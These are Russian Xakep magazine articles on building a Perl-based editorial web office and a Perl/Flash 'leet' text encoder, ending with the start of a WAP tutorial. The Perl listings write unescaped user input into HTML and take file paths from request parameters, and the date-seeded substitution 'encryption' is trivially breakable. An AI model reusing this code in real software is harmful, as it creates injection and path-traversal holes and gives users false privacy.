Что же для этого нужно? Во-первых, концепция твоего журнала. Придумывай сам, у нас она уже вроде есть :). Как только соберешься с мыслями - читай дальше. Потом определись с хостингом. Писать будем на перле и на php, так что наврот.ру не катит. Для мегамагазина всегда нужен план. Но не тот, который забивают, - тот, что план номера. А именно - какие темы будут освещаться, количество полос для той или иной статьи и сам автор, который изъявил желанием взять тему. Вот и сделаем форму для редактора, чтобы он забивал и ее могли видеть авторы. Далее список зарегистрированных авторов, вывод архива статей каждого, архив номеров и раздел доступа. Всего уровней два: для редакторов и для самих креатив-чуваков. Люди, не задействованные в журнале, не должны ни фига видеть. Ну и, конечно, лента новостей - кричащая об изменениях - и форум для обсуждения проблем насущных. Доступ раздаваться будет примитивно - хтакссесом и хтпассвд'ом. Как только это все будет готово - можно все это дело объединить. Просто создадим список со ссылками на администрирование к нашим получившимся блокам.

Форма для плана статей

Перед каждым выпуском редакция должна знакомить своих коллег с тем, чему будет посвящен новый выпуск, а также предлагать какие-то свои темы. Обычно в ответ на предложенные темы ребята предлагают еще раз в 5 больше, но только план есть план - существуют ограниченные рамки. Тем более, что и предложенные редакцией темы довольно интересно было бы рассмотреть. Чтобы такой план был доступным для авторов, пипл из редакции должны как-то сделать этот план. Но не будут же они ручками клепать HTML-страницу каждый раз? Конечно, нет. Значит, надо сделать форму для ввода пунктов плана и всего такого. Введенное хозяйство будет заноситься в файл, а скрипт-обработчик будет представлять это дело в табличной структуре.

Перед тем как резво браться за создание формы, подумай, какие поля должны быть в плане (ну, это если ты решил свой веб-офис завести). Для примера можно взять такие поля, как:

а) название статьи,

б) предполагаемый объем,

в) комментарии (редакции свойственно делать названия очень непонятными, в этом поле они пытаются хоть как-то растолковать смысл названия, и иногда им это даже удается :)).

Кроме полей таблицы предполагается наличие полей номера и названия выпуска (ты же не хочешь делать безликий бездатНый магазин?). Ответ на вопрос о количестве формочек для плана много от чего зависит, но он не так часто меняется.

<FORM ACTION="/cgi-bin/plan.pl" method="POST">

№ журнала: <INPUT name="number"><br>


Спецвыпуск Xakep, номер #030, стр. 030-024-2, MEGAMAGAZINE - мутим элитный сетевой журнал

MEGAMAGAZINE - мутим элитный сетевой журнал

Леха ББ & Космос

Спецвыпуск Xakep, номер #030, стр. 030-024-2

Название номера: <INPUT name="name"><br>

<table border="1" cellpadding="0" cellspacing="0"width="95%" align="center" bgcolor="#CCCCCC" bordercolorlight="#000000">

<tr><td>

<b>1.</b><br>

Название статьи: <INPUT name="name1" size=50><br>

Предполагаемый объем статьи: <INPUT name="size1" size=4>, Kb<br>

Комментарии: <BR>

<TEXTAREA NAME="comment1" rows=3 cols=50></TEXTAREA>

<HR>

<b>2.</b><br>

Название статьи: <INPUT name="name2" size=50><br>

Предполагаемый объем статьи: <INPUT name="size2" size=4>, Kb<br>

Комментарии: <BR>

<!-- Тут в таком же духе формочки -->

<TEXTAREA NAME="commentN" rows=3 cols=50></TEXTAREA>

<HR>

</td></tr>

</table>

<INPUT type="Submit" value="Создать план">

</FORM>

Форма очень проста, даже безо всяких JS-проверок на заполненность форм, которые, честно говоря, не помешают. После заполнения плана и нажатия кнопки "Создать план" будет произведено обращение к скрипту plan.pl, который будет заносить содержание плана в файл с названием "№_журнала.txt", а в файл plan.ind - номер и название готовящегося журнала. Остается только написать такой скрипт :). Для обработки скриптом данных из форм понадобится процедура FormInput, которую можно скачать на сайте winfo.org. Вообще, она понадобится для всех перловых скриптов, которые будут рассмотрены в данной статье, так что рекомендую за нею слазить.

Полностью рассматривать написание скрипта не считаю целесообразным, ибо абсолютные новички даже в таком случае ничего не поймут, а разбирающиеся уже и так достаточно знают. Для плана отведи отдельную директорию, например, plans. Туда будет заноситься все связанное с планом. Приведу только пример обработки полученных форм и из записи в файл (опять же простейший вариант).

#обработка полей Номера и Названия

$number=$input{'number'};

$name=$input{'name'};

#запись в файл списков планов

open(PLN, ">>$plans_ind");

print PLN "$number;$name\n";

close (PLN);

#как будет обзываться файл нового плана

$plan_file=$plans_dir.$number.'.txt';

#обработка форм по темам плана

#количество выбирать под свои нужды

$name[1]=$input{'name1'};

$name[2]=$input{'name2'};

$name[3]=$input{'name3'};

$name[4]=$input{'name4'};

$size[1]=$input{'size1'};

$size[2]=$input{'size2'};

$size[3]=$input{'size3'};

$size[4]=$input{'size4'};

$comment[1]=$input{'comment1'};

$comment[2]=$input{'comment2'};

$comment[3]=$input{'comment3'};

$comment[4]=$input{'comment4'};

#запись в файл обработанных переменных через разделитель ;

open (PLA, ">>$plan_file");

for ($i=1; $i<=4; $i++)

{

print PLA "$name[$i];$size[$i];$comment[$i]\n";

}

close (PLA);

В списке планов добавление нового номера происходит в последней строке. Помни об этом - еще пригодится. Приведенное выше хозяйство можно дополнить проверкой на пустоту, чтобы не делать лишних строчек, и еще чем-нибудь. Но это уже на твое усмотрение.

Архив планов

Обладающих настолько феноменальной памятью людей, которые помнят все о том, что, где и когда было написано, не так много. Поэтому надо держать архив планов, чтобы можно было посмотреть, не писалось ли то же самое до этого. Поскольку уже ведется список номеров и файлы планов, то задача создания архива сильно упрощается. Надо будет только написать скрипт-обработчик этих файлов. Суть такого скрипта в том, что он должен открывать список журналов и выдавать их номера и названия. При выборе того или иного номера скрипт выдаст в удобоваримом виде план в виде названий статей, объема и комментариев (то, что заполнили ранее).


Спецвыпуск Xakep, номер #030, стр. 030-024-3, MEGAMAGAZINE - мутим элитный сетевой журнал

MEGAMAGAZINE - мутим элитный сетевой журнал

Леха ББ & Космос

Спецвыпуск Xakep, номер #030, стр. 030-024-3

#Список планов

if ($input{'act'} eq "")

{

open(PLN, "$plans_ind");

@plans=<PLN>;

close(PLN);

print "<h1>Список планов по номерам</h1>\n";

for ($i=0; $i<@plans; $i++)

{

chomp($plans[$i]);

($number, $name) = split (/;/, $plans[$i]);

print "<a href=$script?num=$number&act=plan>$number - $name</a>\n";

}

}

Для вывода конкретного плана надо в этом же скрипте создать условие, при котором он будет происходить, а также написать сам вывод. Нижеприведенный листинг кода наглядно демонстрирует подобную процедуру.

if ($input{'act'} eq "plan")

{

#определение номера и его названия

open(PLN, "$plans_ind");

@plans=<PLN>;

close(PLN);

$ch_num=$input{'num'};

for ($i=0; $i<@plans; $i++)

{

chomp($plans[$i]);

($number, $name) = split (/;/, $plans[$i]);

if ($ch_num eq $number)

{

$ch_name=$name;

}

}

print "<h2>№ $number: $name</h2>\n";

#путь к файлу с планом

$ch_plan_file=$plans_dir.$ch_num.'.txt';

#заполнение переменных из полей файла и их вывод

open(PLA, "$ch_plan_file");

@chplan=<PLA>;

close(PLA);

print "<table border=1 align=center>\n";

print "<tr><td>Название статьи</td>\n";

print "<td>Объем</td>\n";

print "<td>Комментарии</td></tr>\n";

for ($q=0; $q<@chplan; $q++)

{

chomp($chplan[$q]);

($name_art, $volume, $comment) = split(/;/, $chplan[$q]);

print "<tr><td>$name_art</td>\n";

print "<td>$volume</td>\n";

print "<td>$comment</td></tr>\n";

}

print "</table>\n";

}

Немного доработав, такой вывод можно снабдить линками на тексты статей или сделать возможным автору заказывать статьи.

Список авторов

Список авторов должен содержать такие сведения, как имя (или ник), e-mail, перечень областей, в которых он разбирается. Это можно дополнить информацией о его возрасте, семейном положении, физическом адресе, фотографией и т.д., но это уже по желанию. Создание и дополнение списка авторов можно сделать по аналогии с описанной выше формой для плана статей. Только количество форм будет зависеть от того, насколько подробную анкету по авторам собираешься делать. Лучше всего каждому автору сделать свой ID (идентификационный номер), которым автор будет подписываться, например, при выборе статей. Скрипт, отвечающий за обработку запроса о выборе, в случае ввода правильного ID, будет либо говорить что-нибудь типа "Спасибо за заказ. О нем будет сообщено начальству", либо будет посылать куда подальше, если такой номер введен неправильно.


Спецвыпуск Xakep, номер #030, стр. 030-024-4, MEGAMAGAZINE - мутим элитный сетевой журнал

MEGAMAGAZINE - мутим элитный сетевой журнал

Леха ББ & Космос

Спецвыпуск Xakep, номер #030, стр. 030-024-4

Заказ статей

Через какие-то интервалы времени (обычно раз в месяц) редакция рожает план номера, и он становится доступным на сайте. Авторы в это время лезут на сайт, чтобы его лицезреть, а также выбрать то, что они могут осилить. Чтобы автору не пришлось выбирать кота в мешке, надо сделать так, чтобы план представить в такой форме, чтобы было понятно, что к чему, то есть так же, как и в архиве планов, а рядом поставить флаги (checkbox'ы), выбор которых будет соответствовать выбору статей. От скрипта, который будет отвечать за выбор статей, требуется определять последний добавленный план (последняя строка файла со списком планов), открывать файл с планом и записывать в строчках с выбранными авторами статьями ID того, кто их выбрал. Но лучше заводить файл с именем вида ID_автора.txt, в котором будут записаны выбранные данным автором статьи на месяц. Таким ID может служить не только номер, но и любое слово или даже просто набор символов.

#Определение последнего плана

open(PLN, "$plans_ind");

@plans=<PLN>;

close(PLN);

#$k - число строк в файле списка

$k=0;

foreach(@plans)

{$k++;}

#$j - выбор строки с номером и названием последнего плана

$j=$k-1;

($number, $name) = split (/;/, @plans[$j]);

print "<h2>№ $number: $name</h2>\n";

$ch_plan_file=$plans_dir.$number.'.txt';

#заполнение переменных из полей файла и их вывод

open(PLA, "$ch_plan_file");

@chplan=<PLA>;

close(PLA);

#Таблица с планом и возможностью выбора статей

print "<table border=1 align=center>\n";

print "<tr><td>Название статьи</td>\n";

print "<td>Объем</td>\n";

print "<td>Комментарии</td>\n";

print "<td>Выбрать</td></tr>\n";

print "<FORM ACTION=$script method=\"GET\">\n";

print "Представься: <INPUT name=\"author\" size=30>\n";

for ($q=0; $q<@chplan; $q++)

{

chomp($chplan[$q]);

($name_art, $volume, $comment, $chosen) = split(/;/, $chplan[$q]);

if ($chosen eq "")

{

print "<tr><td>$name_art</td>\n";

print "<td>$volume</td>\n";

print "<td>$comment</td>\n";

print "<td><INPUT type=\"checkbox\" name=\"chosen\" value=\"$q\"></td></tr>\n";

}

}

print "</table>\n";

print "<INPUT type=\"Submit\" value=\"Выбрать статьи\">\n";

print "</FORM>\n";

}

Заносить результаты выбора в файл с планом или заводить для этих целей отдельный файл - дело вкуса. У того и другого метода есть свои плюсы и минусы (как и у других источников питания :)), так что подумай, что в твоем случае будет лучше. И сделай это.

Архив статей того или иного автора

Для размещения самих статей лучше всего завести директорию статей, а в ней субдиректории по ID автора. В директории статей завести текстовый файл, строки которого будут разбиты на 3 части через знак ";": ID автора, название статьи и имя файла с текстом статьи. При выборе автора будут выведены ссылки на ID всех имеющихся авторов (и бывших тоже). После клика на такую линку скрипт будет отыскивать среди полей файла нужный ID и заносить нужные строчки в массив, который потом будет выведен. После его обработки будет выдан список статей выбранного автора, которые можно дополнить ссылками на эти статьи.


Спецвыпуск Xakep, номер #030, стр. 030-024-5, MEGAMAGAZINE - мутим элитный сетевой журнал

MEGAMAGAZINE - мутим элитный сетевой журнал

Леха ББ & Космос

Спецвыпуск Xakep, номер #030, стр. 030-024-5

Лента

Ничего сложного не надо. Никаких категорий, поисков и т.п. Сойдет примитивная от Мэнликсов: http://manliks.ru/manlix/downloads/mnlxswnews02.zip. Если же хочется больших возможностей - у них же на втором сайте http://manlix.ru в наличии более сложная лента. Фак и поддержка по установке для глупых - прилагается. Как только все установишь - при помощи SSI проинклудишь в свой дизайн в нужном месте.

Доступ

Твой любимый Спецпипец неоднократно писал про разделение доступа. Как то - Муф про Manager Lite на перловке с использованием .htaccess и .htpasswd. Ya.ru тебе в помощь, но можно решить проблему и простыми вышеуказанными файлами без мэнэджера. Согласен, все придется делать ручками - но так меньше геморроя и, ИМХО, безопасней. Есть замечательная программа, которая шифрует и создает пароли в MD5. Качай: http://www.hostforum.ru/files/passwd12.zip. Как юзать эгзэ, разберешься - не маленький. Программа создаст нужный тебе .htpasswd. Далее ты должен запихать в папку, которую надо запаролировать, файл .htaccess с примерно таким содержимым:

AuthName "Дай пароль чувака!"

AuthType Basic

AuthUserFile /полный/адрес/и/путь/к/.htpasswd

require valid-user

А если хочешь запретить доступ к определенному файлу, вставь в .хтаксесс:

<Files имя_файла.расширение>

order allow,deny

deny from all

</Files>

Советую паролить все конфигурационные файлы. Едем дальше.

Общение

Теперь осуществим общение с "Главным" через форму. Иногда ломает создавать новое письмо и отправлять его. А когда ты еще и не дома и залазить через веб-интерфейс в почту долго, подойдет обыкновенная форма с полями "имя", "мыло", "чо хотел". Фидбэшную форму качаем отсюда: http://www.woweb.ru/non-cgi/46 - там их много, выбери на свой вкус. Устанавливаем и инклудим в шаблоны дизайна, где это необходимо. Если редакторов много, там, где надо, прописать мыльники через запятую. Опять же все очень просто. Далее, чтобы чувакам не скучать и дать возможность обсудить наболевшие проблемы - установи форум. Их сейчас хоть *опой ешь, так что вся проблема в их выборе. Установить тоже проблем возникнуть не должно: факов и мануалов, как грязи. Например, в Спеце №2(27) писали о модном PHPBB. Сделаешь сам.

Канэц

Как видишь, мы опять извернулись. И теперь свой кейс с президентами можешь опять отложить на черный день. А вообще, ты все это мог придумать сам, ибо ничего сложного здесь нет. Ладно, копайся и разбирайся. До встречи.

Линки по теме:

http://apm.izkom.ru/apache_htaccess.php

http://www.wmaster.ru/htaccess/index.htm


Спецвыпуск Xakep, номер #030, стр. 030-028-1, РАЗВЛЕЧЕНИЕ ДЛЯ 31337-ваяем |^|РЕ0БqА3о84тель теXта

РАЗВЛЕЧЕНИЕ ДЛЯ 31337-ваяем |^|РЕ0БqА3о84тель теXта

Alex Shark

Спецвыпуск Xakep, номер #030, стр. 030-028-1

(qqqqqwww@e-mail.ru)

Хочешь, чтобы твой ник запоминали и не путали с похожим? Или чтобы никто не читал то, что предназначено только тебе? Для решения этих совсем разных проблем тебе нужна всего одна вещь - онлайновый кодер.

Дочитай статью до конца, и я уверен, что ты найдешь еще пару применений чисто для себя :). У тебя были случаи, когда заглядывают через плечо или с тупым вопросом "А че это ты читаешь?" лезут в твою личную переписку? Или стихи, которые ты пишешь свой девушке (ну бывает такое, весной же бушует острое нереспираторное заболевание), и ты никак не хочешь, чтобы их читал какой-нить отморозок. Для этого надо все кодить!

А как известно, самое хакерское кодирование это крякозяблики. Но дешифровать в голове KOI в WIN достаточно проблематично, так что давай посмотрим на более приемлемые способы. Первый - это кодирование по аналогу. Его чаще всего используют для понтов, например, при Deface-операциях или для придания веса собственному нику, где-нибудь на CS сервере. Этим стилем написан подзаголовок статьи :). Когда-то, в довиндосовые времена, я пользовался этим для кодирования интересных рассказов и втихаря тащил их в школу. С первого взгляда никто не сможет сказать, что именно тут написано, но если знать принцип, то читается достаточно бегло. Можно печатать даже на единственном принтере у директора фирмы, рассказывая сказки про ассемблерный код и декомпилирование программы в уме, многие верят. Но как ты сам понимаешь, кодировать несколько страниц только для того, чтобы потом их декодировать и прочитать то, что и так уже прочитано, смысла нет. Поэтому мы будем кодировать не сами, у нас есть железная коробка с кремнием внутри, у нее частота большая, вот пусть она и думает. А поскольку это надо не только нам, мы сделаем страничку, на которой будет интерактивный кодер. Писать оного будем на перле. Если ломы ставить себе сервак, поищи в сети и найди халявного хостера с перлом, для тестов я пользовал hut.ru, но надолго там остаться не получилось.

Перлодром

Допустим, что у нас есть работоспособный перл или выход на сервак с перлом и нам надо просто написать программку. Для начала создай простой html-файлец, в котором будет форма запроса, то есть то, куда посетитель странички будет вводить свой первозданный текст. Кстати, можешь ради интереса его сохранить и посмотреть, что именно он перекодил :).

Затем надо написать саму программу. Пример ты сейчас посмотришь, но помни - тираж журнала более 40000 екз. Так что лучше написать что-то свое.

<html><head><title>Cool coder</title></head>

<body><form method=post action=/cgi-bin/codeit.pl>

Вводи текст тут.<br>

<textarea name=text rows=15 cols=50><br>

<input type=submit value=Go></form></body></html>

Теперь давай подумаем, что во что будем кодить. Все, что нужно, - это найти совпадения в буквах, так, например, букву "а" можно поменять на A, @, a, 4. Букву "л" можно написать как JI или /\. Поскольку таких комбинаций может быть несколько, нужно писать кодировщик с "плавающими" таблицами. То есть прога сама должна выбрать случайную замену и подменить буковку. Давай напишем кодировщик отдельно, а таблицы кодировок будем хранить в отдельном файле, что придаст достаточно гибкости нашей проге. Для работы с таблицами есть в перле отличная штучка, которая зовется хэш, она позволяет создавать пары и не заботиться о поиске и размещении данных. Это мы и заюзаем для наших пока еще гуманных целей. Ответ пользователю будем выдавать прямо на экран прямым текстом, пусть с ним потом что хочет, то и делает.


Спецвыпуск Xakep, номер #030, стр. 030-028-2, РАЗВЛЕЧЕНИЕ ДЛЯ 31337-ваяем |^|РЕ0БqА3о84тель теXта

РАЗВЛЕЧЕНИЕ ДЛЯ 31337-ваяем |^|РЕ0БqА3о84тель теXта

Alex Shark

Спецвыпуск Xakep, номер #030, стр. 030-028-2

#!/usr/bin/perl

print "Content-Type: text/plain\n\n";

open INP,"<table.dat";

while (chomp($a=<INP>)) {

chomp($table{$a}=<INP>);}

close INP;

while ($text=<>) {

$text =~ s/text=//;

$text =~ s/\+/ /g;

$text =~ s/%([\dA-Fa-f][\dA-Fa-f])/pack("C",hex($1))/eg;

while ($text) {

if (!$table{substr($text,0,1)}){print substr($text,0,1);

}else{@oth=split/ /,$table{substr($text,0,1)};

print $oth[rand(@oth)];}

substr($text,0,1)="";}}

XXXXXXXXXXXXXX

a

a A 4 /-\

b

b B 8 |3

c

c C < (

XXXXXXXXXXXXXX

Таблица неполная, это только пример, как надо располагать данные. Сначала идет буква, потом варианты через пробел, затем следующая. Вариантов может быть сколько угодно, могут быть одинаковые варианты написания разных букв. Те символы, которые не будут найдены в таблице, остаются без изменения. Небольшой хелп по этой проге. В первых строчках то, что надо обязательно написать для перла и для html-браузера. Затем до close идет чтение таблицы и расположение данных в памяти. Потом начинаем читать сам текст по строкам, обрабатываем строку и читаем строку по буквам. Если буква не имеет пары, то выдаем как есть. Если имеет, то вытаскиваем из строки одно из значений, определяемое случайно. Все, удаляем обработанную букву и повторяем все сначала. Если выложить эту прогу вместе с html-ем на сервак, то получится универсальный кодировщик, в зависимости от таблицы можно будет кодировать в крякозяблики, в транслит или просто из одной кодировки в другую. Можно сделать таблицу со случайными значениями, и у нас получится асимметричный кодировщик, то есть закодировать им можно, а декодировать нет. Можно поизвращаться и сделать 2 сервера, на одном будет таблица для кодирования, а на другом для декодирования. Лучше всего сделать громкое имя типа decode.ru и повесить там баннер. Главное - всем рассказать, что там можно прочитать кривые письма, а потом останется только сливать показы на раскрутку своей хомпаги или на продажу. Но все наши старания по кодированию важной инфы пропадут, если злобный админ в локалке включит сниффер. Он просто выловит оба варианта - и кодированный, и декодированный. Для лечения надо мутить клиентскую версию. Поскольку Perl у нас не ставится вместе с виндой, а С и С++ ставит еще меньше народу, будем делать на массовость. То есть Flash.

Flash клиент

Клиент не должен уступать серверу по возможностям, должен иметь возможность подгружать таблицы из сети, должен уметь кодировать все, что дадут, и т.д. Поскольку клиента мы делаем для борьбы со сниффером, будем мутить нестандартную таблицу. Для флеша самое простое решение - это запихать всю таблицу в Action первого кадра мувика и подгружать сам мувик интерактивно. Можно составить таблицу в мувике из кусочков, тогда, даже рассмотрев мувик, не будет понятно, что это за данные. В примере прога подгружает мувик на место старого с именем "target".


Спецвыпуск Xakep, номер #030, стр. 030-028-3, РАЗВЛЕЧЕНИЕ ДЛЯ 31337-ваяем |^|РЕ0БqА3о84тель теXта

РАЗВЛЕЧЕНИЕ ДЛЯ 31337-ваяем |^|РЕ0БqА3о84тель теXта

Alex Shark

Спецвыпуск Xakep, номер #030, стр. 030-028-3

table = "a*a A /-\\*b*b B 8*c*c C < (";

on (release) {

oldchar = new array();

temp = new array();

oldchar = table.table.split("*");

for(i=0;i<Text.length;i++) {

for(t=0;t<oldchar.length;t+=2) {

if(oldchar[t] == Text.substr(i,1)) {

temp = oldchar[t+1].split(" ");

post = temp[random(temp.length)];

break;

} else {post = Text.substr(i,1)};}

Coded = Coded + post;}}

Для работоспособности тебе необходимо создать в флеш-окошке текст с привязкой к переменной "text" и параметром input text, лучше нарисовать еще вокруг рамочку. И текстовое окошко с привязкой "coded", но параметрами Dynamic text, куда мы будем выдавать текст. Для удобства пользования не забудь поставить флажок "selectable", иначе придется переписывать результат ручками. Ну и, конечно, необходима наша главная кнопка "Code It", на которую мы и повесим весь код декодера. Таблица, как ты видишь, опять не полная. Меняться будут только буквы, которые занесены в таблицу, все остальное перекочует без изменений. Формат таблицы: "Буква*на_что_менять_можно_через_пробел*буква*на_что_можно_менять". Если ты хочешь использовать символ * в своих кодировках, то можно заменить его в таблице на любой другой неиспользуемый. Главное, не забудь поменять его и в кодере. Помни, что когда ты хочешь написать символ "\", то нужно заносить его в строку как "\\" - иначе у тебя неизбежно появятся глюки.

Теперь о программе. Сначала реагируем на импульс... то есть на отпускание кнопки, и сразу создаем массив под наши таблицы. Функцией split прога разделяет весь массив на кусочки из букв и вариантов замены. Затем бегунок по тексту и переборщик букв, который ищет, есть ли буковка, которую можно подменить. Если таковая есть, то в массив temp дробим наши варианты по пробельному разделителю и выбираем из этого массива случайный вариант. Если нет, то просто переписываем старое значение. В конце выводим результат побуквенно во второе окошко. Мувик с таблицей можно подгружать в самом начале, если ты используешь мувик из нескольких кадров. Можно сделать отдельные кнопочки с выбором таблиц и подгружать их по требованию пользователя. В данном примере подгружались только один мувик и только одна таблица, тебе никто не мешает загрузить сразу 10 таблиц и работать с ними, но это увеличит траффик и будет немного притормаживать у пользователей с медленным подключением.

h4x0г код

Для всего этого тебе понадобится таблица, в примерах был перевод первых букв аглицкого языка, что не совсем подходит для нас. Мы будем кодить кириллицу.

Для удобочитаемости советую при печати на принтере делать двойной межстрочный интервал. В противном случае ты ничего не прочитаешь, все слипнется.


Спецвыпуск Xakep, номер #030, стр. 030-028-4, РАЗВЛЕЧЕНИЕ ДЛЯ 31337-ваяем |^|РЕ0БqА3о84тель теXта

РАЗВЛЕЧЕНИЕ ДЛЯ 31337-ваяем |^|РЕ0БqА3о84тель теXта

Alex Shark

Спецвыпуск Xakep, номер #030, стр. 030-028-4

Есть несколько способов создания таблицы, лично пользовал и расскажу о парольном и датированном кодировании. Парольное кодирование применяется часто - это когда ты вводишь пароль и видишь кашу. С другой стороны чел вводит пароль и видит текст, который ты ему посылал. Датированное кодирование - это когда паролем служит дата создания таблицы, z применял для поздравления в нужный день :). Это немного более практично, поскольку даже настоящие шифроблокноты использовали эту схему. То есть чел принимал шифровку, открывал страничку с сегодняшним числом, читал и мог смело выкидывать эту страничку. Больше одного раза пароль не использовался. Кроме того, даже если подобрать пароль к первому сообщению, то он не сработает на втором. Но самое интересное - это пароль, где есть и дата, и число, с шифраторами на разных серверах. Можешь даже завещание потомкам оставить, и когда наступит 3000 год, они смогут его прочитать. Правда, найдется пара перцев, которые прочтут все намного раньше :). Кодирование по дате выглядит достаточно интересно, текст есть, сайт есть, а декодировать не получается. А все потому, что чувак, которому этот текст предназначен, прилетит только через неделю и, зайдя на сайт, без проблем все прочтет.

#!/usr/bin/perl

use CGI qw(param);

$mday = param("day");

$mon = param("mon");

$year= param("year");

srand($mday*$mon*$year);

$symb="abcdefghijklmnopqrstuvwxyz";

while($symb){do{

$s = rand(36) + 33;} while ($temp{$s});

$temp{substr($symb,0,1)."\n"} = chr($s)."\n";

substr($symb,0,1)="";}

%table=reverse %temp;

open OUT,">table.dat";

print OUT %table;

close OUT;

Это прога для создания кодирующей таблицы, при запуске ей необходимо передать день, месяц и год, которые будут в момент раскодирования. Не забывай, что день и месяц считаются от нуля, а год - с 1900. В этой программе все так же, как и в проге для декода. Изменено только начало, дата не берется из системы и передается вручную. И маленький оператор reverse меняет местами буквы и значения, это и определяет кодирующую таблицу или декодирующую.

#!/usr/bin/perl

($sec,$min,$hour,$mday,$mon,$year,$wday,$yday,$isdst) = localtime(time);

srand($mday*$mon*$year);

$symb="abcdefghijklmnopqrstuvwxyz";

while($symb){do{

$s = rand(36) + 33;} while ($table{$s});

$table{substr($symb,0,1)."\n"} = chr($s)."\n";

substr($symb,0,1)="";}

open OUT,">table.dat";

print OUT %table;

close OUT;

Ну, тут все просто. Берем дату, конкретно день, месяц и год, все это запихиваем в переменную начала отсчета для случайного числа. В переменную symb помещаем все символы, которые надо кодировать. Составляем таблу и пишем ее в файлец table.dat. Вот, собственно, и вся прога. Ее надо запускать из программы кодировщика, перед тем как кодировать. Для использования пароля вместе с датой можно сделать как положено, то есть обработать пароль и, получив цифровое значение, запихать его в тот же srand. Но можно пойти и нестандартным путем, достаточно добавить наш пароль в начало переменной $symb, и это спутает все карты при декоде, хотя на качестве и скорости практически не отразится. Более того, при пустом пароле все должно работать только по дате, а не вываливаться с ошибкой в письмо админу сервера. К сожалению, Flash и Perl имеют разную основу для генерации случайного числа, поэтому если ты закодируешь письмецо на серваке, то никакими Flash клиентами ты его не откроешь. Так что для суперсекретного декода придется поставить себе перла.


Спецвыпуск Xakep, номер #030, стр. 030-028-5, РАЗВЛЕЧЕНИЕ ДЛЯ 31337-ваяем |^|РЕ0БqА3о84тель теXта

РАЗВЛЕЧЕНИЕ ДЛЯ 31337-ваяем |^|РЕ0БqА3о84тель теXта

Alex Shark

Спецвыпуск Xakep, номер #030, стр. 030-028-5

Утилитарщина

Все это, конечно, хорошо, всякие пароли, шифровки и прочее. Но если тебе нужны просто показы баннеров на твоей паге и ты не хочешь организовывать клуб "юного Штирлица", то надо сделать массово-необходимую вещь. Для этого мы будим кодить и декодить наш великий и могучий. Вся проблема зоны ru в том, что когда появились компьютеры, появилось и желание писать в программах русскими буквами. Так вот, желание появилось, а шрифта и кодировки нет. Тогда все начали пользовать транслит или ранглиш. Позже народные умельцы сделали наиболее умную таблицу KOI, которая при срезании старшего бита кода (признака русификации) по-прежнему оставалась читабельной в виде транслита. Но запад не мог спокойно смотреть на эти мучения, и международный институт стандартизации создал ISO, чуть позже многопосылаемый Билли со своими мягкими друзьями придумал кодировку WIN. Короче, бардак да и только, но Билли был парень смышленый, поэтому чуть раньше он придумал еще и DOS кодировку, типа у меня две, значит я круче. Как видишь, все, кому не лень, клепали эти кодировки налево и направо. И по сей день, если тебе пришло письмо на русском, - его очень редко можно прочитать не задумываясь. Благо есть BAT и ему подобные проги, которые мало-мальски справляются с автоопределением кодировки.

Но те, кто пользуют Netscape, очень часто задумываются, какого черта есть смена кодировки в меню, если она не меняется? Для них мы и будем делать пагу с универсальным транслитом. Дело простое, нужно создать несколько таблиц - win-koi, koi-win и т.д. Главное тут - не забыть про двойной баг, это когда письмо написано на koi, а почтовик решил, что это win, и перекодировал его еще раз в koi. Таким образом получается письмо в несуществующей кодировке. Можно, конечно, два раза нажать кнопочку "decode", а можно сделать таблицу koi-koi-win и win-win-koi.

В общем, как сказал Морфей, "я обещал лишь показать тебе дверь...". Дальше решать тебе: или ты веришь, что к тебе пойдет народ и хочешь показы баннеров, или ты не веришь :). Все эти кодировки, разумеется, уступают по надежности PGP и им подобным приблудам. Все, что надо для взлома такого способа кодирования, - это лишь посидеть и посмотреть на текст. Одиночные буквы вроде "а", "я" ломаются просто на ура. Дальше все еще проще. Главное помни, если ты закодируешь действительно важную информацию, которая будет очень нужна некоторым ребятам, ты сам скажешь им пароль. Более того, ты будешь его очень качественно вспоминать и неизмеримо рад сообщить его как есть.

а - a 4 /-\

б - 6

в - B 8 |3

г - r |^

д - g q 9

е - e 3

ж - }|{ ]|[ >|< *

з - 3

и - u |/| i

к - k |< |{


Спецвыпуск Xakep, номер #030, стр. 030-028-6, РАЗВЛЕЧЕНИЕ ДЛЯ 31337-ваяем |^|РЕ0БqА3о84тель теXта

РАЗВЛЕЧЕНИЕ ДЛЯ 31337-ваяем |^|РЕ0БqА3о84тель теXта

Alex Shark

Спецвыпуск Xakep, номер #030, стр. 030-028-6

л - J| JI Jl /\ /|

м - M |\/| [\/]

н - H |-|

о - o 0 ()

п - n |^|

р - p q |O

с - c < (

т - m T

у - y |/

ф - (|) 0|0

х - X }{ ][

ц - u,

ч - 4 u|

ш - ||| I_I_I

щ - \\\ I_I_I,

ь - b |)

ы - bl bI b|

ъ - ^b `b

э - -) -]

ю - |-() I-0

я - SI 9|


Спецвыпуск Xakep, номер #030, стр. 030-032-1, WAP-ENGINES - Динамический WAP!

WAP-ENGINES - Динамический WAP!

ManderX

Спецвыпуск Xakep, номер #030, стр. 030-032-1

(forother@fromru.com)

Мы уже рассказывали тебе про то, как замутить мегадинамическую пагу aka пагу-робот, ты уже знаешь и asp, и пхп, и перл (не спорь!, так должно быть по сценарию =); поэтому сегодня мы сделаем еще один шаг навстречу автоматизации - попробуем замутить пагу-робот в WAP.

Во-первых, цель данной статьи - не показать тебе, какие крутые скрипты на просторах инета я нашел, а НАУЧИТЬ тебя кодить под WAP (хотя и первое тоже =). Допустим, у тебя есть сайт с лентой новостей. Теперь представь, что ты едешь в метро, видишь красивую тетку и тут же добавляешь на сайт новость про нее (к примеру, просто добавляя запись в БД). Круто? При определенных знаниях php и wml ты без проблем сможешь решить эту задачу. Но многие уже порешали ее, надо только посмотреть решение :), что мы и сделаем.

PlayGround

Все WAP-паги пишутся на wml, точнее писаться они могут хоть на пхп, хоть на perl, да и на asp тоже, но WAP-браузер понимают только wml. Сейчас просто модно писать динамические страницы, так как это экономит уйму времени! В статье будут описаны скрипты на трех вышеперечисленных языках, но их объединяет одно - все скрипты должны послать заголовок "Content-type: text/vnd.WAP.wml", а Apache, в свою очередь, должен понять его. Для расширений знаний апача добавляем эти строки в httpd.conf:

AddType text/vnd.WAP.wml .wml

AddType image/vnd.WAP.wbmp .wbmp

AddType application/vnd.WAP.wmlc .wmlc

AddType text/vnd.WAP.wmlscript .wmls

AddType application/vnd.WAP.wmlscriptc .wmlsc

И подредактируй директиву "DirectoryIndex", добавив еще index.wml.

